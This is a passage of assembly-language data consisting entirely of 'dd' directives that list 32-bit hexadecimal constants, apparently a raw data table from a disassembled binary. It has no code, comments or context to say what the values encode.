		dd 2E4ED8C3h, 50539001h, 0A25521ABh, 0C9338880h, 0C62289CAh
		dd 0BE69C0E9h, 0AF1CCE00h, 0EBB92AD5h, 18CC0C4Fh, 0FDD874B0h
		dd 62FAD9F8h, 2B159A07h, 0E173C9F6h, 8240001Bh,	850ACCACh
		dd 267F0130h, 80944039h, 349C4D69h, 7FB2C266h, 1D0F0024h
		dd 1CAF60F1h, 831F6546h, 400F2F96h, 11CCBEB9h, 0EE91109Fh
		dd 0F65E0381h, 0A6784D90h, 0CFD09EE0h, 93008E7Ch, 14B711DAh
		dd 0DF847Ch, 659DAAF8h,	9F59C82Dh, 0D9245E1Eh, 0DAD79703h
		dd 6156C096h, 0A2C61DFCh, 0A39B434Dh, 0AFA36385h, 0B4392116h
		dd 36B93300h, 36FABF08h, 20809A0Ch, 0FE91803h, 0F5D557h
		dd 0E347BE10h, 0E629FA38h, 0DB199A18h, 3E9BD08h, 0EFC096D9h
		dd 75B8CE03h, 0DD90A1A8h, 0A0F01112h, 764907FFh, 73C7D7C2h
		dd 0B8099C03h, 809FF571h, 89CC1C1Ah, 0F8CF7AE2h, 46E3150Eh
		dd 0A40E6499h, 0C09A49FAh, 54EB6424h, 2A020000h, 6C661A5Bh
		dd 848200FFh, 19D02F67h, 0B1009E09h, 878C96DFh,	0C56CD4h
		dd 0D66BA298h, 8A2D3EF3h, 8FBD3Dh, 16430D03h, 0EEC7E2A4h
		dd 6E2F0740h, 0A3A87FA5h, 79B0FA5Ch, 5037AEEh, 0E0EA9DC7h
		dd 0F0E983D4h, 0B2AA4h,	156839C3h, 63DAD6ACh, 0F5CEBA00h
		dd 7C044278h, 65E00008h, 5E8290E1h, 0B4F650E4h,	0FECB9400h
		dd 0D3097BE3h, 0F3E00EF5h, 414974FBh, 0D3164DE1h, 0BC552880h
		dd 48153F00h, 864984B4h, 0A42900B6h, 0ED2E726Bh, 2F008AE3h
		dd 4A3DF9C2h, 1AA78E0h,	96DE5CBh, 0DC26B406h, 770025D9h
		dd 7E47BF6Fh, 12E7981h,	17053C4Fh, 20CD5BB8h, 52006E82h
		dd 3B3F82FBh, 0E2D2EBAh, 0D3051D40h, 0E9B8E740h, 423BE1D5h
		dd 11FC80E5h, 20146D19h, 487C316Eh, 0F0DD9718h,	6C00E8FDh
		dd 2C623E03h, 0DEC13Bh,	31165FE7h, 2E6F83D2h, 6896AC00h
		dd 63AE4597h, 0A6D1C5Dh, 88CE86E9h, 5100D866h, 428C11A4h
		dd 61E7A0h, 49C08075h, 605FA952h, 0BEF824EEh, 80AB063Dh
		dd 0B2D03203h, 3C3BC758h, 1C807CB3h, 0C13D1BE7h, 9C01B67Dh
		dd 0C7132847h, 5CE0E530h, 8CC01874h, 0C85E2804h, 38558h
		dd 0E0A550D3h, 0D6F7EAh, 0F45816FBh, 32CBE417h,	808A212Eh
		dd 3802830Ch, 0BB4D15BCh, 3817484Fh, 622302C2h,	4882B667h
		dd 69014A30h, 75FCABF0h, 0BB716Fh, 778C5C80h, 0F01F368h
		dd 0C85E13Fh, 507FD5CDh, 0C7B2035Eh, 1D1350DFh,	0AB201001h
		dd 0A8F5B9F4h, 3AD762E8h, 0C230115Bh, 0F6715921h, 834A3900h
		dd 0EFDF0725h, 40E6E679h
		dd 9C18FD23h, 9EB09BBBh, 967C0083h, 81C515Fh, 0FA06864Fh
		dd 0C17F0A01h, 97BF0051h, 0DB8EF9B4h, 0E00E484h, 0B52855C9h
		dd 53129Ch, 602102CAh, 2FE8AC46h, 80A3C038h, 4973E508h
		dd 0BED3B68h, 0C7B1D5BCh, 0AAF75A85h, 0E3887DC0h, 5E980078h
		dd 0B043705h, 0BD1F2535h, 0BA3E7Ch, 0E7ADF999h,	0EC61BA0Ah
		dd 73BB0002h, 2DB807E6h, 1A584682h, 2B6F00B8h, 923B2293h
		dd 5A1600DCh, 83C26770h, 0D3001A0Dh, 3426CFA8h,	6B028Fh
		dd 2193A5A0h, 5E2B4A43h, 0D1BC4100h, 6F62C2B3h,	30017BFFh
		dd 82861E90h, 61011C68h, 58CB4C95h, 0CF6F6Ah, 0E6540210h
		dd 550D764Eh, 8C32C600h, 169519Ah, 9F920047h, 2FF34D8h
		dd 39000E4Dh, 0B11ECBCAh, 0A0CED0h, 986B8F8Bh, 4CC5EF0h
		dd 0DA46D600h, 5BBE50A7h, 1F13A25h, 0C278F484h,	8D00FB89h
		dd 0ED3563A2h, 0F8BFFC8Eh, 190C00DEh, 14E093D4h, 64001C58h
		dd 885BE954h, 8C33EBh, 8763228Eh, 62ABBAC7h, 50B21F00h
		dd 32DD454h, 0E31A004Dh, 0EBA447ADh, 15049B69h,	0E2A20296h
		dd 8FE0ADC7h, 0C11B8E25h, 0C85C0FF0h, 0BBA08D63h, 80F04036h
		dd 0AAAF3193h, 0DD137C60h, 0D9598402h, 8F083BD2h, 889B9E60h
		dd 0CA251092h, 0F1A8820Dh, 1A80FB8h, 22B34F42h,	0A110892Fh
		dd 133F40EAh, 1A04422h,	91B317AEh, 8597625h, 80BBF8FCh
		dd 494585CEh, 9B102DF5h, 0C9880328h, 0A788405Ah, 22955B22h
		dd 122113D2h, 6673284Ch, 98EA58BDh, 656359C0h, 607CA9A3h
		dd 5B0EB197h, 6060F623h, 76BB7F50h, 0ED920016h,	0DD1DDF6Ch
		dd 4498C885h, 0B4F43A00h, 0C983EB51h, 791F6033h, 8A0D7E15h
		dd 0C08B4930h, 98F05B95h, 0F5331872h, 0EE52C836h, 0A20D2F0Eh
		dd 76B0A05Ch, 1D9E3796h, 99D22Ch, 63783B16h, 0A0C02AEBh
		dd 0B36D4730h, 45920035h, 560E0FCCh, 7330DBE7h,	25D2D88Bh
		dd 46DD00B0h, 0B42AC842h, 17F8BC99h, 3A7C3Ch, 0BD0EC45Ch
		dd 50B6F419h, 351F4D1h,	935883EFh, 68053653h, 9C32E216h
		dd 0E057F803h, 0C396C11Ah, 93E02C21h, 0B98B0EC7h, 2CCA65ABh
		dd 9AFD00C4h, 3B771F12h, 0C413A2FCh, 0F0020D58h, 40327DFAh
		dd 7AF5E94h, 0F741F847h, 870B4503h, 0C1DF2737h,	0D449FCEFh
		dd 0BD5038DDh, 0E03D89C7h, 67DA9D0Eh, 0BCCEB307h, 5EAECCh
		dd 8C8CD9Bh, 0C85641Dh,	0BD2B0E04h, 3BBD89Eh, 241AA04Fh
		dd 204F4699h, 8E044BA8h, 0DE8DAE60h, 960EA091h,	3EDB53F0h
		dd 9000C546h, 695222ECh, 2B1EA99Ch, 57D09244h, 7ED0200h
		dd 7874BF56h, 0D81EF607h, 0EE44F5E8h, 0CE5F1090h, 5862E54h
		dd 38E10098h, 0FD468F1Ah, 7EEC5C00h, 0C4EB3EF6h, 4D62E2B2h
		dd 5C75446Ah, 241C1A64h, 9ED6C351h, 90A45F7Fh, 80C195A4h
		dd 0F0FDFF00h, 0AA3D2E67h, 1433FBFAh, 43EFB600h, 1FC86BA0h
		dd 400F848h, 40B15429h,	4020CC3h, 642A4949h, 800487C6h
		dd 884A9DDAh, 0A57E91C2h, 0FFD81368h, 0F12124DEh, 5E2805Fh
		dd 0EFAD955Eh, 0D779FF0Eh, 2E1923D9h, 81C888C1h, 0B8C21304h
		dd 0E31F3Dh, 43C0B3D2h,	3090D36Ch, 0B0163300h, 6E3E6726h
		dd 7B0F1F40h, 5C1A004Eh, 19A23B9Ah, 0F49C1207h,	5660F5DAh
		dd 0B70A2EC4h, 501C250h, 0A6A23458h, 0CEF88C67h, 447703C5h
		dd 0F68A7F3Bh, 0E6C7EAC0h, 55AE1F00h, 0DFF7B65Dh, 6D400053h
		dd 0CB4A3EA1h, 8700F109h, 12542608h, 6EF3DA8h, 0E3EE2CCCh
		dd 9172F6A5h, 75B01B07h, 3BF003B4h, 0ADB1F3h, 0C7CFCCDh
		dd 6B4595B7h, 0BA863300h, 659448FBh, 61CE3D6Dh,	0F6443F80h
		dd 3149712Eh, 40C93801h, 0CDA91B15h, 2063D8h, 52A1B45Eh
		dd 1A79B137h, 0A0D13E0Eh, 0E09E6F80h, 0FEFA01A9h, 0D61C000Ch
		dd 4770E98Dh, 550032AEh, 521965E1h, 3C59FFA7h, 7A862Dh
		dd 0B651BB46h, 0D10996CCh, 38FDAB00h, 8EC895B1h, 0FE0F008Bh
		dd 47D9FC15h, 39E6F70Ch, 946F3402h, 80A3FD63h, 46D457C7h
		dd 6E4B00A4h, 6F8D98BDh, 0D201C109h, 10C663F7h,	0ADFC9E9Dh
		dd 0B661005Eh, 0C7BF3572h, 7FB86241h, 1F63C13Ch, 429747Eh
		dd 0AF9218D6h, 0EA71064h, 5BE1C000h, 2714BA71h,	0D9F301FFh
		dd 0B6EA2CE6h, 0C096D4D8h, 0B85FAF18h, 88434E29h, 424018B7h
		dd 0B9E5449Ch, 4492B144h, 0C1440AE8h, 0EEF44F0h, 4214D320h
		dd 201C0886h, 42940441h, 0DB990297h, 0E76A0213h, 280DB023h
		dd 2250A851h, 0FE227F0Bh, 192622E9h, 512BEC31h,	29B67739h
		dd 1731291Ah, 18C0794Ah, 9402FC11h, 183C76A1h, 6429383Fh
		dd 86B88840h, 0C05AE040h, 57CFE1C9h, 0B27DD18Ch, 0C56CAE00h
		dd 5AE5A5BFh, 1871013Fh, 0DECE74FEh, 0B617D825h, 0ABFB3C00h
		dd 7F36050Bh, 0E71300B2h, 5967F2CAh, 0CF00BFE1h, 9152A95h
		dd 26EFA0B7h, 120FD17h,	0E9AB9DC4h, 792CCC1Fh, 0DE119C00h
		dd 0E64CED6Ch, 0F6D53F09h, 8CCBCE80h, 0FA1E18C9h, 0BD677E2Eh
		dd 351A3907h, 298B13A0h, 63F14C33h, 28CE9B00h, 0DAC2CBF3h
		dd 0C8E1211Eh, 0C1FCB480h, 296064h, 0B59C259Ah,	56BFC742h
		dd 7C004079h, 37DD2E94h, 219495Fh, 10042067h, 70405B4Fh
		dd 840094BEh, 0D905DC70h, 18230CB7h, 48676968h,	0FD000611h
		dd 204F287Ch, 0C06FE609h, 0FFEE3450h, 831F4876h, 6C80F55Ah
		dd 0C9F21644h, 0F98900A7h, 3735DADBh, 0D10E0D08h, 7D853C13h
		dd 12CDE780h, 545DCBh, 93AD3EDFh, 0AB6BA22Eh, 4D3BA0Eh
		dd 7252431Fh, 16A00027h, 3CD5A6C3h, 0F600AD58h,	0AFCC9C48h
		dd 1BFE8h, 6B5D4317h, 1066DABCh, 4998DC00h, 0C550E2EFh
		dd 9C220B92h, 7A80AB9Eh, 9B973A3Fh, 0CFE8115Bh,	0C058FA1Dh
		dd 48C53E7Eh, 0EE3BB2ECh, 0B0A780F4h, 557D4A98h, 16C400B4h
		dd 383D51D3h, 930028F1h, 9BA1FBA7h, 0D9D027h, 6630EB6h
		dd 8D16CD2Bh, 97DB7C00h, 0B854506Bh, 0B88CF478h, 6759001Bh
		dd 0F8581A6Fh, 7703EBCDh, 0E0B1F974h, 0E091820Dh, 0E66550D9h
		dd 209F6AAh, 6AC75B30h,	0C60BB68h, 0DA0049A4h, 18CAC9F0h
		dd 3A81784Fh, 94806625h, 8B7F84A9h, 0C807CBFEh,	73D59BE7h
		dd 2A7BA90h, 74FDFAF2h,	0EFCD0059h, 922CBDCFh, 0E900D188h
		dd 3CC5B485h, 31AF97Dh,	8EB561EEh, 5A90A941h, 0DC48890Bh
		dd 0E8340E98h, 7AC8E025h, 1383C477h, 7210B4h, 373E62E3h
		dd 8BE03AF1h, 0D0ECC01h, 72FD710Bh, 13A899E0h, 367E33h
		dd 0B010AD70h, 53001C35h, 5C955AE4h, 0D5C5BDh, 0F27DB3F3h
		dd 6A6681C4h, 0DFAD3D00h, 64F77962h, 403005Dh, 997D8BB1h
		dd 773F129Fh, 601780EDh, 243907B5h, 0EC0F00C2h,	0E381115Eh
		dd 2603ABAAh, 8AA18C56h, 0E40188CEh, 79E801BCh,	4207D565h
		dd 858C408Eh, 0B518A6DAh, 0F641833Bh, 0CE7CA0h,	511D3CEDh
		dd 4F0FAE40h, 456D3603h, 0D0623898h, 2D413h, 5E66AC08h
		dd 8A7022F8h, 80269D3Fh, 800E3141h, 0D7EE51h, 859795BEh
		dd 0DE5E8AFCh, 88D40D00h, 74B9393Ch, 0D34E0011h, 5127065h
		dd 487C71C8h, 6C5A7900h, 0B241A12Dh, 86DF00CAh,	0A45BAEF5h
		dd 7C909C6Dh, 4FC8B607h, 22EFCB93h, 4096280Eh, 3826368h
		dd 5FDDBABEh, 0ACF8847Dh, 0DF00FDE1h, 994B6DB7h, 1CA46208h
		dd 0FEDA7Ch, 879E8E6Fh,	0FF0784F6h, 711533DDh, 0E0F008B3h
		dd 0BEF364Dh, 0FE312D8Ah, 0C2C7E0F5h, 3256138Bh, 0C3740016h
		dd 0F526ED8Ch, 0D62C7E00h, 0EECEDE23h, 0A1CA0041h, 0F962C533h
		dd 0A700CB03h, 0A69ECC6Ah, 0AA731Eh, 4723074Ah,	15ACE245h
		dd 0E7BF0101h, 3BA10C9Fh
		dd 1AA7E8h, 5C5FCEE4h, 5A819A60h, 0B8963900h, 56CA32F4h
		dd 0A1530F1Eh, 2CAFA4B3h, 57970E80h, 0D20091D5h, 0AE1BA02Dh
		dd 361F8h, 19C468C7h, 23586E47h, 2AC24800h, 7330A5C3h
		dd 7B27666h, 0CBD83A5Ch, 0F05D701Ah, 52003493h,	74F1976Ch
		dd 0A5234Eh, 4539696Ah,	7EC3639Dh, 0CB2C8300h, 0A12842C5h
		dd 0DE1E3A11h, 0DDE6BF07h, 558F0A5h, 0B8006953h, 0B62886A6h
		dd 99578Ch, 80D22B7h, 81E409D4h, 0C6116315h, 2B7500B8h
		dd 0CF49A882h, 59550F5Fh, 0CFBFAED5h, 60E0D142h, 481DA64Fh
		dd 6908BF05h, 0C1C707C4h, 4ADCAF90h, 8044B316h,	0FBD70820h
		dd 9785FD2h, 0C219AF00h, 0A086E727h, 66E1038Ch,	0B48197F5h
		dd 88AB7F0h, 44325400h,	5DF4FECDh, 2597128h, 0C7D8BCD0h
		dd 8663632Dh, 40C50890h, 65124A7Dh, 4C020F34h, 6BE97787h
		dd 4D20D018h, 1BB50006h, 278B2D58h, 24009A91h, 0EBD6350h
		dd 1EF04CBh, 3A2F4F9Dh,	0F4EE7608h, 0F7005817h,	6158A7Eh
		dd 19CB169h, 3CCDC3B8h,	3018A6F8h, 9A00878Ch, 9179E3A2h
		dd 0CBE92Eh, 4AE429F6h,	0BA0E4C1Dh, 2374BC00h, 202F5EBBh
		dd 1B8D1667h, 6EC80078h, 7E8E89CDh, 0BE769501h,	6B06EE65h
		dd 63E8B880h, 3ECE60EDh, 967F271Dh, 0DB8A5240h,	870FC3h
		dd 0F789AE76h, 12375D2Ch, 67CD3Ah, 0F3C1933Bh, 1CCAC4Fh
		dd 0BC74D6B4h, 0FC29E9C8h, 0A3001709h, 3FCF36E8h, 366D84DCh
		dd 0F4980D41h, 0F99CCC00h, 0D2EC3126h, 0B01D386Fh, 3EBB900h
		dd 0C941F683h, 93BF0400h, 61362A23h, 1EF8EAFEh,	0F13181h
		dd 0D377DC4Eh, 0E0007AD6h, 8D577C37h, 7472B983h, 13760035h
		dd 5DB3F50h, 670F2C98h,	0C2775646h, 0C061B67Bh,	8E8AE1h
		dd 0F0368663h, 0E6DE389Ch, 0E30018B8h, 0FAC150E8h, 60DCCBh
		dd 0AE66C448h, 9E2B0EC7h, 0A82DB73Bh, 0A9F2AC7Bh, 5E1F8E00h
		dd 8B31C164h, 78131374h, 0A2880F0Ah, 5080DC47h,	7CB0BDD9h
		dd 3B6348h, 0D6C5EF6Ah,	0CAFEF4h, 0F9D75B1h, 1AEDF10Ah
		dd 18D3B000h, 6335223Eh, 0A7040046h, 1408ABACh,	0DB03D57Ah
		dd 3F9BB043h, 7BF1007Dh, 207875EEh, 9D006DBCh, 189E5064h
		dd 1C7DDEBh, 22C4BA65h,	0F87B9683h, 0CBF68166h,	0DC492609h
		dd 6CC88014h, 0F35AEh, 7F6ABE74h, 0EC86B99h, 80173698h
		dd 4C40B08Bh, 0FBE3BF50h, 5AD7219h, 0FEBD908Ch,	396C070h
		dd 0AE0C31D6h, 98A90AF4h, 0FB55011Bh, 0E2C165EEh, 0BF5BCC4Ah
		dd 579FDA00h, 5AA208E0h, 1DFFB093h, 0C006EAC9h,	0B93A3B69h
		dd 0A07B6A51h, 3C0B420Eh, 681D5734h, 0C84E68C0h, 0C3118Bh
		dd 7519FA23h, 8F264BA4h, 0A5C9D501h, 5159279Fh,	690BB440h
		dd 8AAF0095h, 73E26A65h, 7700F7F8h, 0CBD1948Ch,	1BF0F1Bh
		dd 0E8F9B867h, 0D04389A8h, 1C0124D7h, 0F1118D64h, 0A7C4DBBEh
		dd 416B0060h, 1536D547h, 900072B5h, 78199591h, 0E2A03Ch
		dd 0A285D0BEh, 56D50577h, 7A9A6F00h, 0A8EC37E8h, 0F092F9h
		dd 0EE1F257Fh, 488CF0B6h, 6F292300h, 7B7D52E8h,	0E9B8C009h
		dd 68F1C62Fh, 4150A900h, 930B760Eh, 80350B1Ch, 3100155Ch
		dd 44CCA3A4h, 87073E3Dh, 9FD16A6Bh, 24C10069h, 1C68780Eh
		dd 2B73CAh, 9E5ECF3Fh, 9100DEEDh, 0E92CC58Ah, 802399h
		dd 19B62705h, 68C29496h, 0ED4D3D00h, 0AD1A6CBEh, 0DCE01DA4h
		dd 8E25C035h, 7C76C36Eh, 67ED9B09h, 0E06820D8h,	2C74FAFEh
		dd 31DA3Dh, 3D37A04h, 0CC00BB2Dh, 944B84C9h, 0A7F9B9h
		dd 0E21190D7h, 12BCB0A3h, 16BAD38h, 3860E915h, 2872B4h
		dd 9E3C10EBh, 38D8ECDFh, 0D4B77880h, 0BBFCF325h, 0CAEA1F00h
		dd 21720CF2h, 8AAC02F8h, 0FAE4E17Dh, 5D101EE0h,	95C8D38h
		dd 807E1248h, 899F7000h, 698B140Dh, 79FC3Dh, 99596DBDh
		dd 1EABF0C4h, 3B657200h, 0DEE16ABCh, 50302C38h,	0BE68918h
		dd 0C021C485h, 0E48EC344h, 0E7CA6D07h, 0F2E088AFh, 60ECDD57h
		dd 498C2010h, 9F0004EFh, 0EAA01713h, 421FFFh, 466D1CFDh
		dd 0A7FC3089h, 1E8BA909h, 0BCE000A1h, 7219ECC4h, 0DD401D91h
		dd 0C395C1ACh, 0E07493A0h, 0D00BDEEh, 202E71DFh, 3D8DFBE5h
		dd 0BEBE1942h, 8A895D00h, 1FC260E6h, 44CA8E1Dh,	80B7208Bh
		dd 19F8208h, 3E413C52h,	3DFC3A80h, 89D29311h, 8883FA1Ch
		dd 417BA30Eh, 0D0B9AC4Eh, 75BFC0h, 9C4284BBh, 2A58B449h
		dd 78077C00h, 16F6DC5Ch, 0C2AF0059h, 9E906C86h,	0B50396ABh
		dd 0D55F13A5h, 0E2C8F818h, 0EDB63DC5h, 72A81D82h, 8A804D25h
		dd 8D14EE9h, 64934C24h,	0B9605880h, 0FEA6EF3h, 9D2DC631h
		dd 8D98EDA0h, 0A63C9F7Eh, 0A9E780E8h, 7368771Bh, 0AFF7DC5h
		dd 0C104BF42h, 40EB0BCFh, 0EDC31300h, 150028FBh, 0A39D7A47h
		dd 2D067Eh, 8A308D0Ah, 16EA9927h, 301BE39h, 3E548890h
		dd 0D0C39025h, 0EC0C1CACh, 0D55B00F1h, 0FACB0543h, 73DC4500h
		dd 1133DB35h, 0C7CA009Bh, 56AD8674h, 0F3003924h, 17E36A3Ch
		dd 3B4126h, 9D981B1Ch, 0D8E1E7A7h, 33CFCF2h, 0A00C259Ch
		dd 0B923DD60h, 7BCC006Ch, 94D9530Eh, 0D501A6C4h, 0F80A2634h
		dd 0A8DF54EDh, 91063Ah,	74D8CD47h, 6E39B14Ah, 0B9903809h
		dd 0E6800FFh, 1F51EC58h, 0C05FD0F1h, 9759418Ch,	781DB606h
		dd 7209624Dh, 5CC46Eh, 92560B50h, 0B408C4AFh, 3B75AE00h
		dd 0E353CC89h, 6C520039h, 0B92C5C6h, 0D6004808h, 366F5D9h
		dd 75E275Bh, 0F988FBFFh, 0A21D407Dh, 0BF076EAAh, 358A4EEDh
		dd 337EAB50h, 9075181Fh, 0D3490E79h, 5F1B5B00h,	0C245257Bh
		dd 0CA800096h, 5A6FA121h, 613FF358h, 6967000Bh,	24350D46h
		dd 0BF3E00EBh, 0F8499E0Eh, 0BD021B33h, 7C5A89Bh, 77ECE059h
		dd 561000D2h, 0FCEA5C65h, 5E1DE3E2h, 97683CBBh,	81307D00h
		dd 8DF45036h, 153900ABh, 7F78B8D1h, 0E9009ED2h,	76AFDD68h
		dd 3474EF6h, 0C6106D71h, 0D5B03AACh, 30002C08h,	0CAC0CEDDh
		dd 2F53141h, 8509976Fh,	0B4486B20h, 0A900D286h,	0B030D7C7h
		dd 0EEA42E0h, 0AB84BAAAh, 9653E00h, 9802D135h, 0ED2A36FEh
		dd 864BC17Eh, 978AE4h, 0D8EB5929h, 6728CFF7h, 0E138DE7Dh
		dd 4E138A08h, 1D01A2B6h, 81BDCD40h, 43B19942h, 0ECC90FCh
		dd 10CE070Ch, 10749662h, 81F1E442h, 4683050Fh, 66596153h
		dd 7DC94132h, 482720h, 393DBC93h, 33D89C69h, 5EAF038h
		dd 70B76D0Bh, 2488E880h, 2F581CD3h, 0A1CA407Fh,	84E9FDB4h
		dd 605BA900h, 63CE2630h, 7E46014Bh, 6B787617h, 1143657h
		dd 56C1F973h, 25CDB664h, 2B00D839h, 0ECB480A1h,	9028298Ch
		dd 0F22CFC39h, 1007186h, 1584535Fh, 0E2E7794h, 68B1591Ch
		dd 744C56E0h, 0F848AD9Ch, 16E6003Bh, 5BCECD4h, 722000B4h
		dd 1BDE31FBh, 0F124A4BAh, 0F31E7C5Ch, 4829892h,	8561E0D7h
		dd 0EDF20044h, 0B3973A94h, 1F00BE38h, 0CEF19C14h, 3F8C2A22h
		dd 94BF1AC7h, 7948D4D0h, 8B3200B0h, 0BC5FDC54h,	0C000E8F4h
		dd 0E0A05734h, 71BBFB5h, 0C44CD59Fh, 3E56A081h,	1400CEC8h
		dd 0BF3CD40Bh, 0B4C36Fh, 3A738D95h, 0A87CCAAh, 1279A700h
		dd 2831A969h, 0E2A50006h, 50F63249h, 15004013h,	20D6241Ah
		dd 38051794h, 34804A33h, 0F007E87Bh, 37003286h,	0FE7F52D0h
		dd 0F3D7056h, 48BEEF68h, 0C3922A80h, 133B96FDh,	18B68006h
		dd 74DBCF17h, 0EE9D0350h, 538D0F25h, 690881E5h,	0F50C30F8h
		dd 376DB300h, 13DA846h,	4F641D73h, 0F38A4E7Eh, 8F7C4A93h
		dd 4C500188h, 0F4E1152Ah
		dd 16014B29h, 0FE915FC0h, 63204DBCh, 0BF2002Bh,	28B7F6D6h
		dd 10599017h, 0BF0900CCh, 0D89112D0h, 0CB180023h, 0AB9DC3CCh
		dd 20001BDh, 673E0E6Bh,	1D9884h, 0E4FAAAE6h, 383F1876h
		dd 8927BF03h, 0DA687236h, 0D748E0B7h, 0D36A00F1h, 476D186Eh
		dd 0BE074E9Ah, 0EBE35433h, 8D7A20A0h, 0DF8601B9h, 0A404A1D6h
		dd 2080D9F3h, 0C10074A5h, 7C64CE1Eh, 7B0CE381h,	12349848h
		dd 0D05031F6h, 2445A1C4h, 0F27B4900h, 6AEBB91Bh, 42B51C66h
		dd 54C9C298h, 6040AA81h, 0C400FA8Eh, 0D7F98FD8h, 759D2Ch
		dd 0C02350B3h, 32977F0Eh, 2B8E0800h, 0E662BF39h, 19FF017h
		dd 2AD4BE05h, 2046F4D6h, 0D100297Dh, 18861187h,	41E02Dh
		dd 0CA16B621h, 0BA49AAF1h, 0A8A7E82Ch, 0E6C8730Ch, 75D30065h
		dd 0A19515ABh, 120591CDh, 16BC3D6Ah, 93E0F000h,	0C3D5C1h
		dd 0F197CEDBh, 0CC711167h, 9126F001h, 78FCB16Bh, 0C7B8C840h
		dd 3050007Dh, 2022A8DCh, 510068FDh, 2FC2E058h, 0EEBB29BAh
		dd 4063A4Dh, 5BD28A80h,	0E279D47Ah, 0E8974207h,	20608525h
		dd 0E4ED9Eh, 0ECBF0CC5h, 6BD4B08h, 0A7977D00h, 32721A69h
		dd 3D2902B7h, 50DAD26Eh, 0F30C20E0h, 9CFE7100h,	0C1341DD5h
		dd 0EB85005Ch, 3DE9AE8Dh, 7B01B6C2h, 73B3E13Ch,	8871E778h
		dd 0DAF72A80h, 38812955h, 0C60026E2h, 578789C4h, 73B483B3h
		dd 0ECEA012Dh, 0E661EE1Bh, 916B6019h, 8D003198h, 729458F4h
		dd 745F37Ah, 7DF7BD28h,	0E4EAD03Fh, 4A000757h, 3858E3DFh
		dd 0FC5DA93Ch, 5BE824F2h, 0F56A001Ch, 7C919B51h, 7C58C024h
		dd 1873D981h, 0B82CAEC4h, 0A1BEFE85h, 5DBEC34h,	8B31DD01h
		dd 0BC884D93h, 0CA67C0h, 0F2207242h, 0E3D5161Ch, 0F072C1Ch
		dd 0F103BF5Fh, 98C2A0EFh, 984A29h, 32A42387h, 6321DFD1h
		dd 0F6183300h, 2799C1DCh, 0B1C500B2h, 4254CEF2h, 0AB005310h
		dd 0A04D7B55h, 4F8056ACh, 89EC97h, 0A9BC7F69h, 381BED96h
		dd 303955Ch, 0DBB66B11h, 76FF37E0h, 0B0F70B2Ch,	35D85B00h
		dd 15DF912h, 52C01044h,	0EC745E02h, 0F21FC8FBh,	0D8406D67h
		dd 183BE3B5h, 5C3F0050h, 3D091D8Bh, 411EDF69h, 0FDC0F7FBh
		dd 0F6F5469Ch, 64E80E5Ch, 718F8D54h, 153DF3C0h,	55028B43h
		dd 21330EC9h, 70EC19h, 6B81E3BFh, 6A987F9Ch, 3C0E0D30h
		dd 71232E4h, 735ECAE1h,	5A1DF063h, 233C4DACh, 0E88A807Dh
		dd 0C548D29Dh, 0E1B100D0h, 0EA9EE278h, 9800224Ah, 0ADE8543Dh
		dd 0C04C14h, 0F83AB046h, 5B40CEDEh, 5CF3100h, 0CB9C8F3Ch
		dd 0A8140AC3h, 5D012A9h, 40B1706Ah, 64F9DA50h, 0A22C31FCh
		dd 200158Ah, 5F671CC5h,	32E7216h, 6021C995h, 35B12892h
		dd 0D054703Dh, 98A7CE00h, 5DC36886h, 0DB0A0956h, 428EC496h
		dd 0FDD96900h, 5B002E2Dh, 72E4B233h, 0DD2637h, 229C2F45h
		dd 0BA8C4CCDh, 0CC5C6F28h, 0B8DA272Fh, 11A33B4h, 55A0E4E9h
		dd 0C8935EBAh, 0F801DA6Eh, 0CD3A1762h, 0F6DCC0C3h, 0EA8139Ch
		dd 10944192h, 0F5880887h, 0F28430B7h, 0C3EEA700h, 1248CA6Dh
		dd 2B2509BEh, 0F4A1FD86h, 0F0E7C790h, 10DCC50Dh, 25233300h
		dd 0FEFACBh, 0C2E23EE9h, 81D1CE87h, 3BA84906h, 0A29284h
		dd 9016F018h, 0D1EAFB0Bh, 82F3190Ch, 88C015h, 0FAA7EB07h
		dd 878D0EB7h, 0A6E9E400h, 1A11A17Bh, 619E0428h,	802E12EBh
		dd 0D30B3883h, 91DDC901h, 0D776A7E4h, 0F6EFD0E7h, 0CF20058h
		dd 4681F4F8h, 0A50A089h, 3000639Ch, 0BBF3383Bh,	164125h
		dd 0DA7F62C7h, 0BEFBBF95h, 58EE4Ch, 1EA60477h, 0D9DD47h
		dd 5DA5CEADh, 0E170E620h, 0FCE5010Bh, 5140609Fh, 3A3881C8h
		dd 0B83E53F0h, 0A942014Bh, 26C94948h, 0ECF8FC54h, 0F3FD4500h
		dd 0F9828BDBh, 3A25007Ch, 0BF367BA7h, 1758EEACh, 839983C4h
		dd 0AB9EA85Dh, 0A49C003Fh, 0EB04529Bh, 0ED008ACBh, 0E50FFBB2h
		dd 55384C5h, 18A5D8EAh,	72DCC1ECh, 7D5C2069h, 9E52D200h
		dd 0C3DC3FC8h, 45303BFCh, 0C984AF8Eh, 0F18F13E2h, 0B89FD480h
		dd 0A90097DCh, 427ED7F3h, 3F77F279h, 0AD0154DDh, 4D632C0Fh
		dd 98002AEAh, 0A715B212h, 54D50F36h, 2AE10E14h,	0E1EACC58h
		dd 60F0F961h, 6239C450h, 0A340002Bh, 0D206EB23h, 905F17E6h
		dd 2040008Eh, 0DFB7E308h, 9601B9E4h, 0F5A44B2h,	31D0F671h
		dd 0EC4AEFh, 5BD44D82h,	6700E370h, 0EDCCFAC5h, 79422F63h
		dd 8C86380Ch, 0AB74A500h, 732CBFAFh, 137BE900h,	95585298h
		dd 0E4F000E5h, 997BA45h, 0AD00CCB1h, 2ADF7048h,	18EAD783h
		dd 282129B9h, 0F60066CAh, 0D9F45DAAh, 0E8CA714h, 3705D769h
		dd 40E4DB20h, 0B6017BD1h, 0DA8719E2h, 0E3CC2B5Fh, 54763F74h
		dd 31C0E500h, 3278D685h, 0E7346C00h, 49922340h,	9ADA00E9h
		dd 642FF92Eh, 0A100273Eh, 6DA20419h, 1C6E374Ah,	0FDAFCEC1h
		dd 999CC04Ah, 0C3FE8514h, 42C9B602h, 70D06B8Ch,	3E9C02F0h
		dd 76207AD8h, 989AD840h, 383C1700h, 0C8C7149h, 0F20B86Fh
		dd 0F0658128h, 0F4329BA0h, 0FC09100Fh, 78A8B5E4h, 0E3FA2C50h
		dd 9E34806Ch, 4E27AC52h, 0EF03F58h, 0E3BC3347h,	0E0C22002h
		dd 0F8D673F9h, 0FB520050h, 0CB3F9EF1h, 0E5018048h, 86CD1505h
		dd 4080A829h, 0E35F7B0Ch, 353888B8h, 9826A5D5h,	0E0644738h
		dd 3E8A00F1h, 3805F067h, 8C00E11Ch, 3CF71EB2h, 0E5A2682h
